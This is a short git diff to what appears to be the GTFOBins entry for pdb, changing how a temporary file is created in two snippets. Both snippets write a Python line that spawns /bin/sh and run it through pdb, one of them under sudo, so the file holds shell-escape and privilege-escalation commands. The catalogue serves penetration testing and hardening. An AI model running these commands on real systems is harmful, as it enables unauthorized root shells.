diff --git a/_gtfobins/pdb.md b/_gtfobins/pdb.md index 747bccf..7885fa0 100644 --- a/_gtfobins/pdb.md +++ b/_gtfobins/pdb.md @@ -2,14 +2,14 @@ functions: shell: - code: | - TF=$(mktemp -d) - echo 'import os; os.system("/bin/sh")' > $TF/x - pdb $TF/x + TF=$(mktemp) + echo 'import os; os.system("/bin/sh")' > $TF + pdb $TF cont sudo: - code: | - TF=$(mktemp -d) - echo 'import os; os.system("/bin/sh")' > $TF/x - sudo pdb $TF/x + TF=$(mktemp) + echo 'import os; os.system("/bin/sh")' > $TF + sudo pdb $TF cont ---